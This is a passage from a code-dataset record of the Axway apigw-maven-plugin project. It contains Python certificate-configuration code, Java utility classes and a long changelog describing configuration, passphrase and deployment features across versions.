format_not_after(self):\n \"\"\"\n Formats the expiration date/time of the certificate.\n \"\"\"\n df = SimpleDateFormat(\"yyyy-MM-dd'T'HH:mm:ssXXX\")\n return df.format(self.__not_after)\n\n def expiration_in_days(self):\n \"\"\"\n Return the number of days until the certificate expires.\n If the certificate is already expired a negative number is returned.\n \"\"\"\n now = Date()\n diff = self.__not_after.getTime() - now.getTime()\n return TimeUnit.DAYS.convert(diff, TimeUnit.MILLISECONDS)\n\nclass CertConfig:\n def __init__(self, config_file_path, properties, secrets):\n self.__config_json = None\n self.__migrated = False\n self.__origin_json_str = None\n self.__keystore = None\n\n self.__properties = properties\n self.__secrets = secrets \n self.__config_file_path = config_file_path\n if os.path.isfile(self.__config_file_path):\n with open(self.__config_file_path) as config_file:\n logging.info(\"Reading certificate configuration '%s'.\" % (self.__config_file_path))\n self.__config_json = json.load(config_file)\n\n if \"certificates\" not in self.__config_json:\n raise ValueError(\"File '%s' is not a valid certification config file; missing 'certificates' attribute!\" % (self.__config_file_path))\n self.__origin_json_str = json.dumps(self.__config_json, sort_keys=True, indent=2)\n self.__migrate()\n else:\n logging.info(\"Certificate configuration file '%s' doesn't exist; empty file will be created.\" % (self.__config_file_path))\n self.__config_json = {\"certificates\": {}}\n return\n\n def __migrate(self):\n if \"certificates\" in self.__config_json:\n for alias, cert_cfg in self.__config_json[\"certificates\"].items():\n if \"update\" not in cert_cfg or cert_cfg[\"update\"] is None:\n continue\n\n cert = cert_cfg[\"update\"]\n\n if \"password-property\" in cert:\n if cert[\"password-property\"]:\n cert[\"password\"] = cert[\"password-property\"]\n cert[\"source\"] = \"property\"\n else:\n cert[\"source\"] = \"password\"\n\n del cert[\"password-property\"]\n self.__migrated = True\n elif \"password\" in cert and \"source\" not in cert:\n cert[\"source\"] = \"password\"\n self.__migrated = True\n return\n\n def __get_property(self, p):\n v = None\n if self.__properties:\n v = self.__properties.get_property(p)\n\n if v is None:\n if \"properties\" in self.__config_json and p in self.__config_json[\"properties\"]:\n v = self.__config_json[\"properties\"][p]\n \n if v is not None and type(v) is bool:\n v = \"true\" if v else \"false\"\n\n return v\n\n def set_cert_infos(self, cert_infos):\n certificates = self.__config_json[\"certificates\"]\n\n # clear existing certificate infos\n for alias, cert_cfg in certificates.items():\n if \"origin\" in cert_cfg:\n cert_cfg.pop(\"origin\")\n\n # set certificate infos\n for info in cert_infos:\n if info.get_alias() in certificates:\n certificates[info.get_alias()][\"origin\"] = info.get_info()\n else:\n certificates[info.get_alias()] = { \"origin\": info.get_info() }\n return\n\n def set_update_cert_infos(self, cert_infos):\n certificates = self.__config_json[\"certificates\"]\n\n for info in cert_infos:\n if info.get_alias() in certificates:\n if \"update\" in certificates[info.get_alias()]:\n certificates[info.get_alias()][\"update\"].update(info.get_info())\n return\n\n def get_certificates(self):\n certs = []\n if \"certificates\" in self.__config_json:\n for alias, cert_cfg in self.__config_json[\"certificates\"].items():\n if \"update\" not in cert_cfg:\n raise ValueError(\"Certificate update not configured for alias '%s'!\" % (alias))\n \n if cert_cfg[\"update\"] is None:\n continue\n\n cert = cert_cfg[\"update\"]\n\n if \"type\" not in cert:\n raise ValueError(\"Missing certificate type for alias '%s'!\" % (alias))\n cert_type = cert[\"type\"]\n\n cert_file = None\n if \"file\" in cert:\n cert_file = cert[\"file\"]\n\n password = None\n if \"password\" in cert:\n if not cert[\"password\"]:\n raise ValueError(\"Missing value for 'password' property in 'update' for alias '%s'!\" % alias)\n\n if \"source\" not in cert:\n raise ValueError(\"Missing 'source' property in 'update' for alias '%s'!\" % alias)\n\n if \"property\" == cert[\"source\"]:\n p = cert[\"password\"]\n password = self.__get_property(p)\n if password is None:\n raise ValueError(\"Missing configured property '%s' for alias '%s'!\" % (p, alias))\n elif \"password\" == cert[\"source\"]:\n password = cert[\"password\"]\n elif \"env\" == cert[\"source\"]:\n e = cert[\"password\"]\n password = os.environ[e]\n elif \"secrets\" == cert[\"source\"]:\n if not self.__secrets:\n raise ValueError(\"Secrets required for alias '%s', but not specified!\" % (alias))\n\n c = cert[\"password\"]\n password = self.__secrets.get_secret(c)\n if password is None:\n raise ValueError(\"Missing configured secret '%s' for alias '%s'!\" % (c, alias))\n else:\n raise ValueError(\"Invalid password source '%s' for alias '%s'!\" % (cert[\"source\"], alias))\n\n c = CertRef(alias, cert_type, cert_file, password)\n certs.append(c)\n return certs\n\n def update_config_file(self):\n new_json_str = json.dumps(self.__config_json, sort_keys=True, indent=2)\n if new_json_str != self.__origin_json_str:\n with open(self.__config_file_path, \"w\") as cert_file:\n json.dump(self.__config_json, cert_file, sort_keys=True, indent=2)\n logging.info(\"Certificate configuration file updated: %s\" % (self.__config_file_path))\n if self.__migrated:\n logging.info(\"Certificate configuration file migrated to new version.\")\n return\n"
},
{
"alpha_fraction": 0.6356589198112488,
"alphanum_fraction": 0.6356589198112488,
"avg_line_length": 26.64285659790039,
"blob_id": "d921031618346971dcd7cff944cda51ef7a10b7e",
"content_id": "421f7c24c51037e6f872996c7ff3ffb61a670bbe",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 387,
"license_type": "permissive",
"max_line_length": 73,
"num_lines": 14,
"path": "/src/main/java/com/axway/maven/apigw/utils/Target.java",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "package com.axway.maven.apigw.utils;\n\npublic class Target {\n public final String group;\n public final String passphrase;\n\n public Target(String group, String passphrase) {\n if (group == null || group.isEmpty()) {\n throw new IllegalArgumentException(\"group is null or empty\");\n }\n this.group = group;\n this.passphrase = passphrase;\n }\n}\n"
},
{
"alpha_fraction": 0.702886700630188,
"alphanum_fraction": 0.7213208675384521,
"avg_line_length": 30.905500411987305,
"blob_id": "5c62412b1e4fd9af90b7a277b7d2201629bb2e7d",
"content_id": "944d57148cba62275c5dcb25e5f641b3075432c8",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "AsciiDoc",
"length_bytes": 22621,
"license_type": "permissive",
"max_line_length": 269,
"num_lines": 709,
"path": "/CHANGELOG.adoc",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "= Changelog\n\n== Version 1.2.0\n[cols=\"1,2,<10a\", options=\"header\"]\n|===\n|ID|Type|Description\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/55[#55]\n|Enhancement\n|Add support for multiple base directories for certificates.\n\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/56[#56]\n|Enhancement\n|Read properties from stdin.\n\nIf the filename of the `--prop` parameter is a single dash `-`, stdin will be used to read properties from a flat key/value JSON document.\n\n.Example of flat key/value JSON\n[source, json]\n----\n{\n \"prop1\": \"value1\",\n \"prop2\": \"value2\"\n}\n----\n\n[NOTE]\n====\nThis feature can be used to read properties from external sources (e.g. AWS Secrets Manager or Hashicorp Vault).\n\n[source, shell]\n----\n# Get properties from Vault key/value engine\nvault kv get -format=json kv/apim/dev \\| jq -r .data.data \\| buildfed --prop=- -p src/gw.pol -e src/gw.env -c config/gw.config.json\n\n# Get properties from AWS Secrets Manager\naws secretsmanager get-secret-value --secret-id apim/dev \\| jq -r .SecretString \\| buildfed --prop=- -p src/gw.pol -e src/gw.env -c config/gw.config.json\n----\n====\n\n|===\n\n== Version 1.1.0\n[cols=\"1,2,<10a\", options=\"header\"]\n|===\n|ID|Type|Description\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/53[#53]\n|Enhancement\n|The property configuration now supports JSON boolean values.\n\n[source,json]\n----\n{\n \"properties\": {\n \"enables\": false <1>\n }\n}\n----\n<1> Boolean values are now supported\n\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/52[#52]\n|Bug\n|In case the entity field configuration file doesn't exist the following error occurs:\n\n`AttributeError: EnvConfig instance has no attribute '_EnvConfig__origin_json_str'`\n\nThis is fixed. If the configuration file doesn't exists the file will be created automatically.\n\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/51[#51]\n|Enhancement\n|Customized version name for `.pol` and `.fed` packages.\n\nA new property `axway.project.version` is introduced to customize the version of `.pol` and `.fed` packages. As default the value will be set to `${project.version}`. The version can be overwritten by a command line property or by a defined property within the pom.xml.\n\n*Example*\n\nCommand line\n\n`$ mvn clean package -Daxway.project.version=\"${project.version}-BN20201031\"`\n\n.pom.xml\n[source,xml]\n----\n<properties>\n <axway.project.version>${project.version}-BN20201031</axway.project.version>\n</properties>\n----\n\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/pull/45[#45]\n|Enhancement\n|Docker capabilities.\n\n|===\n\n\n== Version 1.0.1\n[cols=\"1,2,<10a\", options=\"header\"]\n|===\n|ID|Type|Description\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/41[#41]\n|Enhancement\n|Improve error message in case of wrong certificate passphrase.\n\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/46[#46]\n|Bug\n|Base path for certificates is ignored by `apigw:deploy` goal (server or policy projects).\n\nIf the `apigw:deploy` goal is executed for server or policy projects, the configuration of the base path for certificates is ignored.\n|===\n\n== Version 1.0.0\n[cols=\"1,2,<10a\", options=\"header\"]\n|===\n|ID|Type|Description\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/40[#40]\n|Enhancement\n|Base directory for certificate files.\n\nUse the `--base-dir` parameter of the configuration tool or the `axway.config.certs.basedir` property of the plugin to specify the base directory for certificate files.\n\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/39[#39]\n|Enhancement\n|Support for confidential properties.\n\nFor confidential properties the configuration tools supports to pass a secrets file.\nIt is a JSON file where the values of the properties are encrypted by a key.\n|===\n\n== Version 0.12.0\n[cols=\"1,2,<10a\", options=\"header\"]\n|===\n|ID|Type|Description\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/35[#35]\n|Enhancement\n| Support removal of certificates.\n\nA new certificate type `empty` is introduced for the `update` object of the certificate configuration file.\nIt indicates that a certificate will be updated with an empty certificate and therefore will be removed.\n\n[source,json]\n----\n{\n \"certifictates\": {\n \"to-be-deleted\": {\n \"origin\": {\n \"info\": {\n \"not_after\": \"2020-08-23T20:24:00+02:00\", \n \"subject\": \"CN=localhost, O=ACME Inc., C=EX\"\n }\n },\n \"update\": {\n \"type\": \"empty\" <1>\n }\n }\n}\n----\n<1> Type `empty` will remove the certificate.\n\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/36[#36]\n|Enhancement\n|The default source for new environmentalized fields is `property`.\n\n.Old default source\n[source,json]\n----\n{\n \"field#0\": {\n \"source\": \"value\", <1>\n \"type\": \"string\",\n \"used\": true,\n \"value\": null\n }\n}\n----\n<1> Previously the default source for new fields is `value`.\n\n.New default source\n[source,json]\n----\n{\n \"field#0\": {\n \"source\": \"property\", <1>\n \"type\": \"string\",\n \"used\": true,\n \"value\": null\n }\n}\n----\n<1> The new default source for new fields is `property`.\n\n[NOTE]\n====\nIn case of new environmentalized fields, the configuration file has to be edited to set the value for the new fields.\n\nIn case of the source of the value should be a property the name of the property has to be specified in the `value` attribute.\nUnfortunately it is easy to forget to also change the `source` attribute to `property`.\nAs the default source is `value` the configuration tool will just configure the name of property instead of the content of the property, without any warning or error.\n\nTo prevent this pitfall the default source for new fields is `property`.\nThis guarantees that the specified property exists.\nAlso in case of the source has to be `value`, the configuration tool forces to switch the `source` attribute.\n====\n|===\n\n== Version 0.11.2\n[cols=\"1,2,<10a\", options=\"header\"]\n|===\n|ID|Type|Description\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/34[#34]\n|Bug\n|For configuration files in the old format having fields with \"property\" attribute set to null, the field will not be upgraded to the newer version.\n\n.Example\n[source,json]\n----\n\"fields\": {\n \"attributeValue#0\": {\n \"property\": null, \n \"type\": \"string\", \n \"used\": true, \n \"value\": \"artifact\"\n }\n}\n----\n\nThis results in the error message:\n\n`ERROR: ValueError(u\"Missing 'source' property in field 'xxxxxx' of entity 'xxxxxx'\",)`\n\nThe bug is fixed and the configuration files will be upgraded to the new version, now.\n|===\n\n\n== Version 0.11.1\n[cols=\"1,2,<10a\", options=\"header\"]\n|===\n|ID|Type|Description\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/33[#33]\n|Bug\n|The configuration files are only updated if they are changed.\n\nAlso a bug is fixed where the configuration will not be updated even if the `used` state is changed.\nIf a field is marked as unused, the configuration wasn't updated even if the field is used now.\n|===\n\n== Version 0.11.0\n[cols=\"1,2,<10a\", options=\"header\"]\n|===\n|ID|Type|Description\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/31[#31]\n|Enhancement\n|The `buildfed` tool is enhanced to set properties from the content of a specified file.\n\nA new `-F NAME:FILE` command line parameter is introduced.\n\nExample:\n\n $ buildfed ... -F description:config/description.txt\n\nThis will define a new property `description` which is populated from the content of the `description.txt` file.\n\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/32[#32]\n|Enhancement\n|Build artifact information JSON.\n\nFor server and deployment archives the plugin will generate a `gateway.info.json` file.\nThe file contains information about the version of the artifact and its dependencies.\n\nOn configuring the `.fed` package, the plugin passes the content of the `gateway.info.json` file as `_system.artifact.info` property to the `buildfed` tool.\nThis enables the developer to use the contained JSON document to build an endpoint providing information about the currently deployed version.\n|===\n\n== Version 0.10.0\n[cols=\"1,2,<10a\", options=\"header\"]\n|===\n|ID|Type|Description\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/30[#30]\n|Enhancement\n|New property \"source\" for fields and certificates to specify the source for the values or passwords.\n\nThe are following advantages:\n\n * Easy extensibility for new sources (e.g. environment variables).\n * Easier to find missing configurations (search for `\"value\": null` or `\"password\": null`).\n\n*Environmentalized Fields*\n\nFor field values there are separate properties (\"property\" and \"value\") to configure the field value (see example below).\n\n.Old Format\n[source,json]\n----\n{\n \"field#0\": {\n \"property\": null, <1>\n \"type\": \"string\", \n \"used\": true, \n \"value\": null <2>\n }\n}\n----\n<1> specifies a property as the source of the field value\n<2> literal field value\n\nA new property \"source\" is introduced to specify the source of the field value.\nThe property defines the kind of the \"value\" property.\nIn case of \"source\" is equal to \"value\" the field value is directly configured by the value of the \"value\" property.\nIn case of \"source\" is equal to \"property\" the field value is retrieved from the property named by the \"value\" property.\n\n.New Format\n[source,json]\n----\n{\n \"field#0\": {\n \"source\": \"property\", <1>\n \"type\": \"string\",\n \"used\": true,\n \"value\": \"property.name\" <2>\n },\n \"field#1\": {\n \"source\": \"value\", <3>\n \"type\": \"string\",\n \"used\": true,\n \"value\": \"field value\" <4>\n }\n}\n----\n<1> specifies a property as the source of a field value\n<2> field value is retrieved from the property named `property.name`\n<3> field value is retrieved directly from \"value\"\n<4> literal field value\n\n*Certificates*\n\nFor certificate passwords there are separate properties (\"password\" and \"password-property\") to configure the password (see example below).\n\n.Old Format\n[source,json]\n----\n\"update\": {\n \"file\": \"cert/server.p12\",\n \"password\": \"server.password\", <1> \n \"type\": \"p12\"\n}\n...\n\"update\": {\n \"file\": \"cert/server.p12\",\n \"password-property\": \"property.name\", <2> \n \"type\": \"p12\"\n}\n----\n<1> literal password value\n<2> password is retrieved from a property named `property.name`\n\n\nA new property \"source\" is introduced to specify the source of the certificate password.\nThe property defines the kind of the \"password\" property.\nIn case of \"source\" is equal to \"password\" the password is directly configured by the value of the \"password\" property.\nIn case of \"source\" is equal to \"property\" the password is retrieved form the property named by the \"password\" property.\n\n.New Format\n[source,json]\n----\n\"update\": {\n \"file\": \"cert/server.p12\",\n \"password\": \"server.password\", <1> \n \"source\": \"password\", <2>\n \"type\": \"p12\"\n}\n...\n\"update\": {\n \"file\": \"cert/server.p12\",\n \"password\": \"property.name\", <3> \n \"source\": \"property\", <4>\n \"type\": \"p12\"\n}\n----\n<1> literal password value\n<2> password is retrieved directly from \"password\"\n<3> password is retrieved from the property named `property.name`\n<4> specifies a property as the source of the password\n\nNOTE: Configuration files in the old format are automatically converted into the new format.\n\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/29[#29]\n|Enhancement\n|Add support for environment variables for field and password configuration.\n\nThe `source` property new supports a new value `env` to specify an environment variable as the source for field values and certificate passwords.\n\n*Environmentalized Fields*\n[source,json]\n----\n \"field#0\": {\n \"source\": \"env\", <1>\n \"type\": \"string\",\n \"used\": true,\n \"value\": \"ENV_NAME\" <2>\n }\n----\n<1> specifies an environment variable as the source of the field value\n<2> field value is retrieved from the environment variable `ENV_NAME`\n\n*Certificates*\n[source,json]\n----\n\"update\": {\n \"file\": \"cert/server.p12\",\n \"password\": \"SERVER_PASSWORD\", <1> \n \"source\": \"env\", <2>\n \"type\": \"p12\"\n}\n----\n<1> password is retrieved from the environment variable `SERVER_PASSWORD`\n<2> specifies an environment variable as the source of the password\n\n|===\n\n\n== Version 0.9.2\n[cols=\"1,2,<10a\", options=\"header\"]\n|===\n|ID|Type|Description\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/28[#28]\n|Bug\n|The \"process hasn't exited\" error on executing external commands is fixed.\n|===\n\n== Version 0.9.1\n[cols=\"1,2,<10a\", options=\"header\"]\n|===\n|ID|Type|Description\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/26[#26]\n|Enhancement\n|Add MinGW (Minimalistic GNU for Windows) support for `buildfed.sh`.\n\nRemark: MinGW is provided as part of Git for Windows.\nThis enhancement allows to execute the plugin within a Git Bash shell on Windows.\n\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/27[#27]\n|Bug\n|The `buildfed` shall not update the in-memory entity store in simulation mode.\n|===\n\n\n== Version 0.9.0\n[cols=\"1,2,<10a\", options=\"header\"]\n|===\n|ID|Type|Description\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/22[#22]\n|Fix\n|Broken passphrase feature for API Gateway 7.6.2 is fixed.\n\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/23[#23]\n|Enhancement\n|Support for multiple property files.\n\nAdditionally to the `axway.config.props` property, property files can be configured via the <configuration> element of the <plugin> element or via the `axway.config.props.files` property.\n\n.pom.xml\n[source,xml]\n----\n<plugin>\n <groupId>com.axway.maven.plugins</groupId>\n <artifactId>apigw-maven-plugin</artifactId>\n <version>${axway.maven.plugin.ver}</version>\n <extensions>true</extensions>\n <configuration>\n <configPropertyFiles> <!--1-->\n <configPropertyFile>${basedir}/a.json</configPropertyFile>\n <configPropertyFile>${basedir}/b.json</configPropertyFile>\n </configPropertyFiles>\n </configuration>\n</plugin>\n----\n<1> Configure multiple property files. \n\n.command line\n....\n$ mvn package -Daxway.config.props.files=c.json,d.json\n....\n\nThe files are used in the following order:\n\n 1. File specified by `axway.config.props` property.\n 2. Files specified in the <configuration> element.\n 3. Files specified by `axway.config.props.files` property.\n\nIf a property exists in the multiple property files the value of from the last property file is used.\n\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/24[#24]\n|Enhancement\n|Use Python logging for `buildfed`` tool.\n\n|===\n\n== Version 0.8.1\n[cols=\"1,2,<10a\", options=\"header\"]\n|===\n|ID|Type|Description\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/20[#20]\n|Fix\n|Configuration tool now supports API Gateway 7.5.3\n\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/21[#21]\n|Fix\n|Support verbose mode of configuration tool for goal `apigw:deploy`.\n\n|===\n\n== Version 0.8.0\n[cols=\"1,2,<10a\", options=\"header\"]\n|===\n|ID|Type|Description\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/11[#11]\n|Enhancement\n|Deployment to gateway via plugin.\n\nThe plugin now supports to deploy a project directly via the plugin goal `apigw:deploy`. Only the standard deployment is supported. The deployment of static files and JARs are not supported.\n\nNew properties:\n\n * `axway.anm.host`: Host of the Admin Node Manager.\n * `axway.anm.port`: Port of the Admin Node Manager (default: 8090).\n * `axway.anm.user`: User to connect to the Admin Node Manager (default: admin).\n * `axway.anm.password`: Password of the user.\n * `axway.deploy.group`: Name of the group the project is deployed to.\n * `axway.passphrase.pol`: Passphrase for `.pol` and `.env` packages.\n * `axway.passphrase.fed`: Passphrase for `.fed` packages.\n * `axway.passphrase.deploy`: Passphrase for deployment group.\n * `axway.config.envs`: Path to environmentalized fields configuration file.\n * `axway.config.certs`: Path to certificates configuration file.\n * `axway.config.props`: Path to properties configuration file.\n\nDeleted properties:\n\n * `axway.passphrase.in`: replaced by `axway.passphrase.pol`\n * `axway.passphrase.out`: replaced by `axway.passphrase.out`\n * `propertyFile`: replaced by `axway.config.props`\n * `certsFile`: replaced by `axway.config.certs`\n\n|===\n\n== Version 0.7.0\n\n[cols=\"1,2,<10a\", options=\"header\"]\n|===\n|ID|Type|Description\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/17[#17]\n|Enhancement\n|Check expiration of configured certificates.\n\nThe plugin and the configuration tool now supports to check if configured certificates expires within a given number of days.\nIf at least one certificate expires within the time frame an error will be raised.\n\nFor the configuration tool the check is disabled by default.\n\nFor the plugin the default number of days is 10.\nTo disable the check for the plugin specify set `axway.tools.cfg.cert.expirationDays` property to -1.\n\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/18[#18]\n|Enhancement\n|Don't create \"info\" section for \"update\" certificates.\nInformation about the configured certificates are written to log instead.\n\nPreviously the configuration tool has written the \"info\" section (see below).\nThis will change a source file, which is not suitable for build environments.\n\n.previous-cert-config.json\n....\n \"update\": {\n \"file\": \"cert/server.p12\", \n \"info\": { <1>\n \"not_after\": \"2020-05-21T07:02:00+02:00\", \n \"subject\": \"CN=server, O=Axway, L=Berlin, ST=Berlin, C=DE\"\n }, \n \"password\": \"server\",\n \"type\": \"p12\"\n }\n....\n<1> Information about the configured certificate, will no longer be created or updated.\n\nThe \"info\" section is no longer created or updated for \"update\" certificates.\n\n.cert-config.json\n....\n \"update\": {\n \"file\": \"cert/server.p12\", \n \"password\": \"server\",\n \"type\": \"p12\"\n }\n....\n\n\nNOTE: To enable the previous behavior, use the `--cert-config-update` parameter of the configuration tool or the `axway.tools.cfg.cert.updateConfigured` property of the plugin.\n\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/19[#19]\n|Fix\n|On flattening the resulting POM a NullPointerException occurred if the `pom.xml` has no <build> element (e.g. in case of the <build> element is defined in the parent POM).\n\nThe issue occurred for server and deployment projects.\n|===\n\n== Version 0.6.0\n\n[cols=\"1,2,<10a\", options=\"header\"]\n|===\n|ID|Type|Description\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/15[#15]\n|Enhancement\n|Optionally skip `package` goal.\n\nFor CI/CD pipelines it would be usefully to separate the package and deployment phase.\nA property `axway.skipPackaging` is provided to skip the `package` goal in case of the target archive already exists.\n\nNOTE: There is no check if source files are newer than the target archive.\nSo ensure that the package goal was executed before.\n\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/16[#16]\n|Enhancement\n|Support simulation mode for configuration tool.\n\nIn simulation mode no output files (`.fed` or `.env`) are written.\nAlso non existing certificate files will be ignored.\n\nTo ensure proper configuration files, unconfigured fields or certificates will still raise a build error.\n\nNOTE: The `buildtemplate` tool is removed as it can be fully replaced by the `buildfed` tool.\n|===\n\n== Version 0.5.0\n\n[cols=\"1,2,<10a\", options=\"header\"]\n|===\n|ID|Type|Description\n\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/1[#1]\n|Enhancement\n|Configuration tool now supports passphrases for input archives (.pol and .env) and for output archives (.fed and .env).\n\nExample:\n\n buildfed -e gateway.env -p gateway.pol -c gateway.config.json -passphrase-in=foo -passphrase-out=bar --output-fed=gateway.fed\n\nUses the passphrase \"foo\" to open the `gateway.env` and `gateway.pol` archive and uses the passphrase \"bar\" to write the configured `gateway.fed` file.\n\nLimitation:\n\n * For all input archives, the same passphrase will be used.\n\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/2[#2]\n|Enhancement\n|The source directory layout for the configuration tool is changed.\nThe tool can be invoked directly from the cloned project folder, now.\n\nExample:\n\n_Windows_\n\n > git clone https://github.com/Axway-API-Management-Plus/apigw-maven-plugin.git\n > cd apigw-mavem-plugin\n > set AXWAY_HOME=c:\\axway\n > src\\main\\resources\\scripts\\buildfed.cmd -h\n\n_Unix_\n\n $ git clone https://github.com/Axway-API-Management-Plus/apigw-maven-plugin.git\n $ cd apigw-mavem-plugin\n $ export AXWAY_HOME=/opt/axway\n $ src/main/resources/scripts/buildfed.sh -h\n\nExtracting the tool from the Maven plugin via the `apigw:tools` goal is still supported.\n\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/7[#7]\n|Fix\n|Configured certificates were not updated by configuration tool.\n\nNow updating or adding certificates works as expected.\n\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/6[#6]\n|Enhancement\n|Example for using standalone configuration tool added.\n\nFolder: `example/config-tool`\n\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/8[#8]\n|Enhancement\n|Working directories of PolicyStudio consolidated under a single `.studio` folder.\n\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/3[#3]\n|Enhancement\n|Generate default `.gitignore` file on initialization.\n\n|https://github.com/Axway-API-Management-Plus/apigw-maven-plugin/issues/4[#4]\n|Enhancement\n|Maven plugin now supports passphrases for reading input packages and for writing output packages.\nApplicable for server and deployment packages only.\n\nYou can use the properties `axway.passphrase.in` and `axway.passphrase.out` to specify the passphrases for reading and writing packages.\n\n_Examples:_\n\n ~/server-project$ mvn -Daxway.passphrase.out=changeme clean install\n\nGenerates a server archive containing passphrase protected `.pol` and `.env` packages.\n\n ~/deploy-project$ mvn -Daxway.passphrase.in=changeme -Daxway.passphrase.out=changed clean install\n\nUses a passphrase protected server archive and generates a deployment archive containing a passphrase protected `.fed` package.\n|===\n"
},
{
"alpha_fraction": 0.713914155960083,
"alphanum_fraction": 0.7142392992973328,
"avg_line_length": 26.464284896850586,
"blob_id": "2a540eae0f99e4fe553f3645fe03d71f60d93559",
"content_id": "28585a0ef1659f1bb1899207547c28ab45fa8ed7",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 3076,
"license_type": "permissive",
"max_line_length": 87,
"num_lines": 112,
"path": "/src/main/java/com/axway/maven/apigw/utils/AxwayArchiveFile.java",
"repo_name": "Axway-API-Management-Plus/apigw-maven-plugin",
"src_encoding": "UTF-8",
"text": "package com.axway.maven.apigw.utils;\n\nimport java.io.Closeable;\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.util.Enumeration;\nimport java.util.Objects;\nimport java.util.jar.JarEntry;\nimport java.util.jar.JarFile;\nimport java.util.zip.ZipEntry;\n\nimport org.apache.commons.io.IOUtils;\n\npublic class AxwayArchiveFile implements Closeable {\n\tprivate static final String ATTR_ID = \"Id\";\n\n\tprivate final JarFile file;\n\tprivate final String id;\n\tprivate final String policyDir;\n\n\tpublic AxwayArchiveFile(File file) throws IOException {\n\t\tthis.file = new JarFile(Objects.requireNonNull(file));\n\t\tthis.id = this.file.getManifest().getMainAttributes().getValue(ATTR_ID);\n\t\tif (this.id == null || this.id.isEmpty())\n\t\t\tthrow new IllegalStateException(\"Missing attribute '\" + ATTR_ID + \"' in manifest.\");\n\t\tthis.policyDir = this.id + \"/\";\n\t}\n\n\t@Override\n\tpublic void close() throws IOException {\n\t\tif (this.file != null)\n\t\t\tthis.file.close();\n\t}\n\n\tpublic String getId() {\n\t\treturn this.id;\n\t}\n\n\tpublic InputStream getEnvSettingsStore() throws IOException {\n\t\tZipEntry entry = this.file.getEntry(getId() + \"/EnvSettingsStore.xml\");\n\t\tInputStream in = this.file.getInputStream(entry);\n\t\treturn in;\n\t}\n\n\tpublic void extractPolicies(File targetDir) throws IOException {\n\t\textractSubDir(targetDir, policyDir, false);\n\t\textractSubDir(new File(targetDir, \"meta-inf\"), \"meta-inf/\", true);\n\t}\n\n\tpublic void extract(File targetDir) throws IOException {\n\t\tObjects.requireNonNull(targetDir);\n\n\t\ttargetDir.mkdirs();\n\n\t\tEnumeration<JarEntry> entries = this.file.entries();\n\t\twhile (entries.hasMoreElements()) {\n\t\t\tJarEntry entry = entries.nextElement();\n\t\t\tFile target = new File(targetDir, entry.getName());\n\n\t\t\tif (entry.isDirectory()) {\n\t\t\t\ttarget.mkdirs();\n\t\t\t} else {\n\t\t\t\textractEntry(entry, target);\n\t\t\t}\n\t\t}\n\t}\n\n\tprotected void extractSubDir(File targetDir, String subDir, boolean includeSubDirs)\n\t\t\tthrows FileNotFoundException, IOException {\n\t\tObjects.requireNonNull(targetDir);\n\t\tObjects.requireNonNull(subDir);\n\n\t\tif (!subDir.endsWith(\"/\")) {\n\t\t\tthrow new IllegalArgumentException(\n\t\t\t\t\t\"sub directory '\" + subDir + \"' is not a directory; missing '/' at the end\");\n\t\t}\n\n\t\ttargetDir.mkdirs();\n\n\t\tEnumeration<JarEntry> entries = this.file.entries();\n\t\twhile (entries.hasMoreElements()) {\n\t\t\tJarEntry entry = entries.nextElement();\n\n\t\t\tif (!entry.isDirectory()) {\n\t\t\t\tString name = entry.getName();\n\t\t\t\tif (name.startsWith(subDir)) {\n\t\t\t\t\tString fileName = name.substring(subDir.length());\n\t\t\t\t\tif (includeSubDirs || fileName.indexOf('/') < 0) {\n\t\t\t\t\t\tFile target = new File(targetDir, 